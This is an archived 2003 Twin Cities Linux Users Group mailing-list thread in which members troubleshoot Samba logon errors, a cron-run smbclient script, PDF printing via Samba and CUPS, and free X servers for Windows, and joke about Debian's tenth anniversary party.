Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phil at rephil.org Tue Aug 12 15:11:45 2003 From: phil at rephil.org (Phil Mendelsohn) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] Re: 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <20030812195100.10495.28481.Mailman@pirate.real-time.com> References: <20030812195100.10495.28481.Mailman@pirate.real-time.com> Message-ID: <20030812201145.GA28482@rephil.org> > Message: 1 > From: James Spinti > Organization: Dart Distributing > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] 16 Aug: Debian's 10th Anniversary Party > Date: Tue, 12 Aug 2003 11:14:36 -0500 > Reply-To: tclug-list@mn-linux.org > > On Tuesday 12 August 2003 11:01 am, Shawn wrote: > > On Tue, 12 Aug 2003 10:58:15 -0500 (CDT) > > > > natecars@real-time.com wrote: > > > Hey, cool, I'm going to have the same anniversary as Debian. :) > > > > Fess up Nate! You planned it that way! =) > > Actually I think that was an invitation for all of us to come to his > wedding :) Sure. But find out if Open Source implies Open Bar. Congrats, Nate. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From lxy at cloudnet.com Tue Aug 12 17:11:17 2003 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] Re: 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <20030812201145.GA28482@rephil.org> Message-ID: On Tue, 12 Aug 2003, Phil Mendelsohn wrote: > But find out if Open Source implies Open Bar. I assumed it was "free as in beer". -Brian _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Wed Aug 13 00:35:37 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 Message-ID: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> Looked around, could not find anything on the above error. I'm trying smbclient \\\\machine\\share -U username -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Wed Aug 13 07:07:38 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 In-Reply-To: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> References: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> Message-ID: <200308130707.39222.list@slushpupie.com> What version of samba? Whave version of windows? Is there a domain? Active directory? What does smbclient -L machine -Uusername show? Jay On Wednesday 13 August 2003 00:35, Bob Tanner wrote: > Looked around, could not find anything on the above error. > > I'm trying > > smbclient \\\\machine\\share -U username -- Jay Kline http://www.slushpupie.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From eibner at mnmailhost.bridge.com Wed Aug 13 08:34:41 2003 From: eibner at mnmailhost.bridge.com (Thomas Eibner) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: References: <1060641520.2896.9.camel@myah> Message-ID: <20030813133440.GA29295@mnsdev3> On Tue, Aug 12, 2003 at 10:58:15AM -0500, natecars@real-time.com wrote: > On Mon, 11 Aug 2003, Ryan Hayle wrote: > > Hey, I know there are more people out there that use a Real Linux > > distribution. Is anything planned to celebrate Debian's 10th Birthday? > > See here for more info - http://www.debconf.org/10years/ Currently a > > Minneapolis event remains listed as a "Call for interest", so...who's > > interested? > > Hey, cool, I'm going to have the same anniversary as Debian. :) Cease and desist! You will be hearing from my lawyers about your infringement of my IP^Wcopyright^Wbirthday! Letters have already been dispatched to debian! :) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From josh at tschidanet.com Wed Aug 13 08:45:22 2003 From: josh at tschidanet.com (Joshua Tschida) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] crontab script that runs smbclient does not work.... Message-ID: <3F3A40F2.8080100@tschidanet.com> Greetings. I've written a bash script here for a Redhat 9 server that uses smbclient to retrieve some log files from a Windows based web server, then the script parses the log files with webalizer. I added the script to my /etc/crontab file, with proper notation, but it does not run! Is there anything with smbclient that might prevent it from running in this fashion? The script works fine when I run it manually... Here's what the smbclient line looks like in my script: /usr/bin/smbclient \\\\SERVERNAME\\SHARENAME -A ../login_info -I SERVERIPADDRESS -n MYCOMPNAME -c "cd httplog; prompt off; mget *.log" My crontab notation looks like this so it will run at 4am every day: 0 4 * * * root /FOLDER/SCRIPT I also have a similar script retrieving logs from a Linux server via FTP, and that one works fine with the same crontab notation. thanks in advance for any assistance. -Josh _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Wed Aug 13 09:14:06 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] crontab script that runs smbclient does not work.... In-Reply-To: <3F3A40F2.8080100@tschidanet.com> Message-ID: On Wed, 13 Aug 2003, Joshua Tschida wrote: > I added the script to my /etc/crontab file, with proper notation, but it > does not run! Is there anything with smbclient that might prevent it > from running in this fashion? The script works fine when I run it > manually... What directory are you in when you run it manually? Do you have the script change to the proper directory before running smbclient? Just a thought. I've seen that happen enough times. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Wed Aug 13 09:38:48 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] crontab script that runs smbclient does not work.... References: <3F3A40F2.8080100@tschidanet.com> Message-ID: <001f01c361a8$9b826580$0201a8c0@brinstar> Joshua Tschida writes: > I added the script to my /etc/crontab file, with proper > notation, but it does not run! Check the SHELL and PATH lines of crontab. The programs you are trying to run might not be in PATH. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Wed Aug 13 09:54:13 2003 From: johnnyfulcrum at mn.rr.com (johnny fulcrum) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] crontab script that runs smbclient does not work.... In-Reply-To: <3F3A40F2.8080100@tschidanet.com> References: <3F3A40F2.8080100@tschidanet.com> Message-ID: Throw the output (Standard and error) from the CRON run to a log: 0 4 * * * root /FOLDER/SCRIPT 2>&1 >> /tmp/cronlog let 'er rip and see what the log says... if you want the log to be new for each run (i.e. overwrite the last log) change the >> to a > On Wed, 13 Aug 2003 08:45:22 -0500, Joshua Tschida wrote: > Greetings. I've written a bash script here for a Redhat 9 server that > uses smbclient to retrieve some log files from a Windows based web > server, then the script parses the log files with webalizer. I added the > script to my /etc/crontab file, with proper notation, but it does not > run! Is there anything with smbclient that might prevent it from running > in this fashion? The script works fine when I run it manually... > > Here's what the smbclient line looks like in my script: > /usr/bin/smbclient \\\\SERVERNAME\\SHARENAME -A ../login_info -I > SERVERIPADDRESS -n MYCOMPNAME -c "cd httplog; prompt off; mget *.log" > > My crontab notation looks like this so it will run at 4am every day: > 0 4 * * * root /FOLDER/SCRIPT > > I also have a similar script retrieving logs from a Linux server via FTP, > and that one works fine with the same crontab notation. > > thanks in advance for any assistance. > -Josh > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From gkrueger at cleosci.com Wed Aug 13 10:27:02 2003 From: gkrueger at cleosci.com (gkrueger) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 References: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> Message-ID: <3F3A58C6.9040204@cleosci.com> Invalid samba username??? (or password) Bob Tanner wrote: >Looked around, could not find anything on the above error. > >I'm trying > >smbclient \\\\machine\\share -U username > > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Wed Aug 13 10:35:01 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] PDF Printer Message-ID: While trying to find a resoultion to an acrobat Distiller problem on a Windows client machine, I ran across this article: http://www.linuxgazette.com/issue72/bright.html Step by step, how to setup a PDF Service with Samba. I tried it out, and it works great for Windows clients! If you're looking at getting full copies of Acrobat just for creating PDF files, this could save you alot of money. Now that I have it up and running though, I'm trying to figure out how to extend it's usefulness to the various Mac machines on our network. (Mostly OS9 and OSX). Currently, I don't know much about Macs. I know OSX does CUPS. I'm guessing that OS9 would need AppleTalk? The other issue is, I'm using CUPS on my Linux machine. It looks like some CUPS users were trying to get a PDF backend working at one time, but that was in 2001. Google hasn't picked up much since. So my questions: Is anyone more familiar with doing "advanced" printing functions like this with Linux, Macs, and CUPS? The big hurdle here is CUPS I guess. For all the functionality of CUPS, sometimes you just can't beat out LPR for the "ohhh, look at this crazy lpr hack!" Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Wed Aug 13 10:47:34 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] PDF Printer Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDA82@mail.temgweb.com> > Now that I have it up and running though, I'm trying to > figure out how to > extend it's usefulness to the various Mac machines on our > network. (Mostly > OS9 and OSX). Currently, I don't know much about Macs. I know OSX does > CUPS. I'm guessing that OS9 would need AppleTalk? OSX can print to PDF out of the box. Just hit print, and in the dialog, it will allow you to print to a PDF file. Not sure about OS9, never used it. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From crc1021 at myrealbox.com Wed Aug 13 11:51:30 2003 From: crc1021 at myrealbox.com (Eric Lofstad) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] PDF Printer In-Reply-To: References: Message-ID: <20030813115130.37f4c83d.crc1021@myrealbox.com> there is now a GPL PDF print driver for windows http://sourceforge.net/projects/pdfcreator/ On Wed, 13 Aug 2003 10:35:01 -0500 (CDT) "Andy Zbikowski (Zibby)" wrote: > While trying to find a resoultion to an acrobat Distiller problem on a > Windows client machine, I ran across this article: > > http://www.linuxgazette.com/issue72/bright.html > > Step by step, how to setup a PDF Service with Samba. I tried it out, and > it works great for Windows clients! If you're looking at getting full > copies of Acrobat just for creating PDF files, this could save you alot of > money. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Wed Aug 13 11:33:50 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 In-Reply-To: <3F3A58C6.9040204@cleosci.com> References: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> <3F3A58C6.9040204@cleosci.com> Message-ID: <200308131133.50370@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Wednesday 13 August 2003 10:27 am, gkrueger wrote: > Invalid samba username??? (or password) > > Bob Tanner wrote: > >Looked around, could not find anything on the above error. > > > >I'm trying > > > >smbclient \\\\machine\\share -U username Same username and password work with an Outlook client. So I don't think so. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Wed Aug 13 11:42:06 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 In-Reply-To: <200308130707.39222.list@slushpupie.com> References: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> <200308130707.39222.list@slushpupie.com> Message-ID: <200308131142.06505@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Wednesday 13 August 2003 07:07 am, Jay Kline wrote:l > What version of samba? samba-2.2.7-3.7.3 > Whave version of windows? Not sure, I'm working in a linux hostile environment and the IT staff is less then helpful, but nmap shows Windows 2000 Professional, Build 2183 (RC3) > Is there a domain? Yes. > Active directory? Don't know. > What does smbclient -L machine -Uusername show? % smbclient -L hostname -U username added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x Password: session setup failed: NT_STATUS_LOGON_FAILURE -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Wed Aug 13 12:13:50 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:18 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 In-Reply-To: <200308131142.06505@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> <200308130707.39222.list@slushpupie.com> <200308131142.06505@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <20030813171350.GH21442@autonomous.tv> On Wed, Aug 13, 2003 at 11:42:06AM -0500, Bob Tanner wrote: >On Wednesday 13 August 2003 07:07 am, Jay Kline wrote:l >> What version of samba? >samba-2.2.7-3.7.3 > >> What does smbclient -L machine -Uusername show? > >% smbclient -L hostname -U username >added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x >added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x >Password: >session setup failed: NT_STATUS_LOGON_FAILURE Is it possibly an encryption issue? Maybe the server is setup for clear text passwd's and your host is sending encrypted? or vice versa. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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I had to rsh to the unix box withthe smbclient, call it, pass the IP, mount point, username and pass as well as "work group" - which is the domain (I think) on the windows side... here's the important line from my script....maybe it'll help you? rsh $SMB_MACHINE "/usr/local/samba/bin/smbclient \\\\\\\\$IP\\\\$MNT $PASSWORD -U $USER_NAME -W $WORKGROUP" On Wed, 13 Aug 2003 11:42:06 -0500, Bob Tanner wrote: > On Wednesday 13 August 2003 07:07 am, Jay Kline wrote:l >> What version of samba? > samba-2.2.7-3.7.3 > >> Whave version of windows? > > Not sure, I'm working in a linux hostile environment and the IT staff is > less then helpful, but nmap shows Windows 2000 Professional, Build 2183 > (RC3) > >> Is there a domain? > > Yes. > >> Active directory? > > Don't know. > >> What does smbclient -L machine -Uusername show? > > % smbclient -L hostname -U username > added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x > added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x > Password: > session setup failed: NT_STATUS_LOGON_FAILURE > -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Wed Aug 13 12:26:22 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] PDF Printer In-Reply-To: <20030813115130.37f4c83d.crc1021@myrealbox.com> Message-ID: On Wed, 13 Aug 2003, Eric Lofstad wrote: | there is now a GPL PDF print driver for windows | http://sourceforge.net/projects/pdfcreator/ Yes, I've checked that out and used it. I think the Samba setup has more some clear advantages: No software to install on client machines. All that is installed on the client machines is a printer. PDF Creator is "new." Samba and GhostScript have been around for ages and development and support of these products isn't going to stop anytime in the near future. Of course, the advantage of PDF creator is that you don't need a UNIX server. But from my point of view (managing 100 or so workstations) adding a printer is easier and faster than installing a new software package on every machine. Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Wed Aug 13 12:35:36 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 In-Reply-To: Message-ID: On Wed, 13 Aug 2003, johnny fulcrum wrote: > rsh $SMB_MACHINE "/usr/local/samba/bin/smbclient \\\\\\\\$IP\\\\$MNT > $PASSWORD -U $USER_NAME -W $WORKGROUP" Egads! Since you're using Samba, why not just use //$IP/$MNT ? It doesn't have to be escaped. I was going to stay quiet about it, but that's waaay too many backslashes. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Wed Aug 13 12:52:45 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 Message-ID: Can you set the domain with the '-W domain' option? Or maybe use 'domain/user' in the '-U' option. --- Troy Johnson - troy.johnson@health.state.mn.us Programmer / System Administrator Minnesota Cancer Surveillance System - MDH >>> tanner@mn-linux.org 08/13/03 12:24 PM >>> > What does smbclient -L machine -Uusername show? % smbclient -L hostname -U username added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x Password: session setup failed: NT_STATUS_LOGON_FAILURE _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Wed Aug 13 13:53:49 2003 From: johnnyfulcrum at mn.rr.com (johnny fulcrum) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 In-Reply-To: References: Message-ID: On Wed, 13 Aug 2003 12:35:36 -0500 (CDT), Jima wrote: > On Wed, 13 Aug 2003, johnny fulcrum wrote: >> rsh $SMB_MACHINE "/usr/local/samba/bin/smbclient \\\\\\\\$IP\\\\$MNT >> $PASSWORD -U $USER_NAME -W $WORKGROUP" > > Egads! Since you're using Samba, why not just use //$IP/$MNT ? It > doesn't have to be escaped. > I was going to stay quiet about it, but that's waaay too many > backslashes. > > Jima > Ha! I wrote this a few years back - I remember having a devil of a time with the slashes (don't remember if I could use forward slashes or not....) then had to escape each one from the shell !! - the above worked and that was that :) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Wed Aug 13 13:48:29 2003 From: natecars at real-time.com (natecars@real-time.com) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <200308121114.36805.jspinti@dartdist.com> References: <1060641520.2896.9.camel@myah> <20030812110108.7d4b2232.sfertch@real-time.com> <200308121114.36805.jspinti@dartdist.com> Message-ID: On Tue, 12 Aug 2003, James Spinti wrote: > Actually I think that was an invitation for all of us to come to his > wedding :) Heh! It'd actually be kind of amusing if a bunch of guys showed up with a tux or something.. for me, at least. I'm not sure how Tiff would feel about that. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Wed Aug 13 13:48:57 2003 From: natecars at real-time.com (natecars@real-time.com) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <20030813133440.GA29295@mnsdev3> References: <1060641520.2896.9.camel@myah> <20030813133440.GA29295@mnsdev3> Message-ID: On Wed, 13 Aug 2003, Thomas Eibner wrote: > Cease and desist! You will be hearing from my lawyers about your > infringement of my IP^Wcopyright^Wbirthday! Letters have already been > dispatched to debian! I think I can prove prior art.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 13 14:04:17 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 References: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> <200308130707.39222.list@slushpupie.com> <200308131142.06505@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <003601c361cd$b2164620$6501a8c0@isd.net> Windows OS's from Windows 98 on use encryption when passing security. Turn encryption on in the samba.conf, stop and start smb and nmb That one bit me in the backside when upgrading from W95 to W98 on a LAN one time. I found the solution on the redhat site. ----- Original Message ----- From: "Bob Tanner" To: Sent: Wednesday, August 13, 2003 11:42 AM Subject: Re: [TCLUG] samba: session setup failed: NT code 0xc0020017 > On Wednesday 13 August 2003 07:07 am, Jay Kline wrote:l > > What version of samba? > samba-2.2.7-3.7.3 > > > Whave version of windows? > > Not sure, I'm working in a linux hostile environment and the IT staff is less > then helpful, but nmap shows Windows 2000 Professional, Build 2183 (RC3) > > > Is there a domain? > > Yes. > > > Active directory? > > Don't know. > > > What does smbclient -L machine -Uusername show? > > % smbclient -L hostname -U username > added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x > added interface ip=x.x.x.x bcast=x.x.x.x nmask=x.x.x.x > Password: > session setup failed: NT_STATUS_LOGON_FAILURE > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 > http://www.linuxjustworks.com | Linux Just Works! > Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Wed Aug 13 14:33:28 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] samba: session setup failed: NT code 0xc0020017 In-Reply-To: <200308131142.06505@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <200308130035.37983@join.TCLUG.at.www.mn-linux.org> <200308130707.39222.list@slushpupie.com> <200308131142.06505@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: On Wed, 13 Aug 2003, Bob Tanner wrote: > Yes. then you will need to logon using the domain\username syntax > session setup failed: NT_STATUS_LOGON_FAILURE you may also need to join the domain using smbclient -j DOMAIN, but irc you need samba version 2.2.9 and up Munir Nassar RedConcepts.NET _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Wed Aug 13 14:33:55 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: Message-ID: If you click Call for interest you'll find the who you're supposed to call if you're interested: http://www.ringworld.org/cgi-bin/mailman/listinfo/debian-party-2003 The now official information: http://www.ringworld.org/pipermail/debian-party-2003/2003-August/000007.html Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 13 14:57:27 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Looking for an Emulator Message-ID: <003c01c361d5$1f9e4420$6501a8c0@isd.net> I'm looking for software like Exceed that will let me run a remote X session. I need something that will not impact my pocket at all, free = :o) If it has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 Clients for W95, 98, and 2K. I've installed and am running Webmin, that gives me most of what I need remote. I want to work with my websites in the environments they live in. That way I can use the native tools and build my skill set. I'm unemployed and need to get more skills with Linux. I'm finding many positions requiring Windows and Linux. Being a Windows SA just isn't cutting it. This is my LAN setup, just in case you would like to know. W2K Server sp4 Compaq Proliant 2500 (I know Compaq hardware) 2 @ 200 MHz Ppro 512k cache each 384 Mb ram 5@4.2 gig drives - Raid 5 100 mbt network Linux - Redhat 6.2 (it was 7 bucks in the box). P200 64 Mb ram 2.5 gig ATA disk 6x CD-ROM 10 mbt network (isa) Network Cisco 678 Linksys router (lets me use ports for fun stuff) Asantie` 10/100 switch w95 and w98 clients, my old laptop will be Linux at the install fest :) http://www.screechowl.org for w2k, apache, MySQL, php box http://www.screechowl.org:1001 for Linux, apache, php box did I say I'm learning PHP and MySQL... Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Wed Aug 13 15:13:40 2003 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Looking for an Emulator In-Reply-To: <003c01c361d5$1f9e4420$6501a8c0@isd.net> References: <003c01c361d5$1f9e4420$6501a8c0@isd.net> Message-ID: I'm a bit confusded... on the Linux/UNIX side that's all built-in. Under Windows, you can actually run XRee86 under Cygwin, which is totally free. http://www.cygwin.com On Wed, 13 Aug 2003, Sam MacDonald wrote: > I'm looking for software like Exceed that will let me run a remote X > session. > I need something that will not impact my pocket at all, free = :o) If it > has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 Clients > for W95, 98, and 2K. > > I've installed and am running Webmin, that gives me most of what I need > remote. I want to work with my websites in the environments they live in. > That way I can use the native tools and build my skill set. I'm unemployed > and need to get more skills with Linux. I'm finding many positions > requiring Windows and Linux. Being a Windows SA just isn't cutting it. > > This is my LAN setup, just in case you would like to know. > W2K Server sp4 > Compaq Proliant 2500 (I know Compaq hardware) > 2 @ 200 MHz Ppro 512k cache each > 384 Mb ram > 5@4.2 gig drives - Raid 5 > 100 mbt network > Linux - Redhat 6.2 (it was 7 bucks in the box). > P200 > 64 Mb ram > 2.5 gig ATA disk > 6x CD-ROM > 10 mbt network (isa) > Network > Cisco 678 > Linksys router (lets me use ports for fun stuff) > Asantie` 10/100 switch > w95 and w98 clients, my old laptop will be Linux at the install fest :) > > http://www.screechowl.org for w2k, apache, MySQL, php box > http://www.screechowl.org:1001 for Linux, apache, php box > > did I say I'm learning PHP and MySQL... > > Sam. > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Wed Aug 13 